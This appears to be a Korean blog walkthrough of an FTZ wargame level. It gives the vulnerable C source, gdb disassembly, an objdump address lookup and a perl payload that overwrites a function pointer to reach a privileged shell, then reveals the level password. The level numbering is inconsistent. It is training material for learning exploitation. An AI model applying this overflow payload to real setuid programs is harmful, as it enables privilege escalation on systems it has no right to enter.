<FTZ LEVEL17>
■ Level17 풀이
level8 사용자 로그인
-> ID/PASS : level17/
$ cat hint setreuid(3097,3097); system("/bin/sh"); } void printit() { printf("Hello there!\n"); } main() { int crap; void (*call)()=printit; char buf[20]; fgets(buf,48,stdin); call(); } => shell함수가 권한 상을을 시켜주는 수단이 될 수 있다는걸 알 수 있다. => 실행을 시켜보면 printi함수가 실행되고 shell함수를 변조하면 된다. $ cp /home/level16/hint /home/level16/tmp/shell.c $ cp /home/level16/attackme /home/level16/tmp/attackme $ gdb -q attackme Dump of assembler code for function main: 0x08048518 <main+0>: push %ebp 0x08048519 <main+1>: mov %esp,%ebp 0x0804851b <main+3>: sub $0x38,%esp 0x0804851e <main+6>: movl $0x8048500,0xfffffff0(%ebp) 0x08048525 <main+13>: sub $0x4,%esp 0x08048528 <main+16>: pushl 0x80496e8 0x0804852e <main+22>: push $0x30 0x08048530 <main+24>: lea 0xffffffc8(%ebp),%eax 0x08048533 <main+27>: push %eax 0x08048534 <main+28>: call 0x8048384 <fgets> 0x08048539 <main+33>: add $0x10,%esp 0x0804853c <main+36>: mov 0xfffffff0(%ebp),%eax 0x0804853f <main+39>: call *%eax 0x08048541 <main+41>: leave 0x08048542 <main+42>: ret 0x08048543 <main+43>: nop 0x08048544 <main+44>: nop 0x08048545 <main+45>: nop 0x08048546 <main+46>: nop 0x08048547 <main+47>: nop 0x08048548 <main+48>: nop 0x08048549 <main+49>: nop 0x0804854a <main+50>: nop 0x0804854b <main+51>: nop 0x0804854c <main+52>: nop 0x0804854d <main+53>: nop 0x0804854e <main+54>: nop 0x0804854f <main+55>: nop End of assembler dump. (gdb) b *main+39 Breakpoint 1 at 0x804853f (gdb) r Starting program: /home/level16/tmp/attackme hello Breakpoint 1, 0x0804853f in main () (gdb) info regi $eax eax 0x8048500 134513920 => printit 주소가 0x8048500이고 이 값을 shell함수 주소값으로 변경하면 shell 함수를 실행 할 수 있다. $ objdump -t attackme | grep shell 080484d0 g F .text 0000002d shell => 0x080484d0 결론적으로 56byte확보하고 0xfffffc8부터 들어가는데 0xffffff0 부분에 주소를 넣어서 그 주소를 호출하는 것으로 printit() 가 들어간다고 볼 수 있다. 이 주소에 shell() 의 주소를 넣어 쉘을 얻는다. [참고] (gdb) disas printit , (gdb) disas shell $ (perl -e 'print "A"x40, "\xd0\x84\x04\x08"';cat) | ./attackme
Level17 Password is "king poetic".
'Learning > └◆System Hacking' 카테고리의 다른 글
윈도우 SYSTEM 권한 획득 기법 (2) | 2017.02.19 |
---|---|
리눅스/유닉스 SetUID를 이용한 해킹 기법 (1) | 2017.02.18 |
[War Game] FTZ Level 16 (0) | 2017.02.01 |
[War Game] Lord Of BoF Level 1 (0) | 2017.01.30 |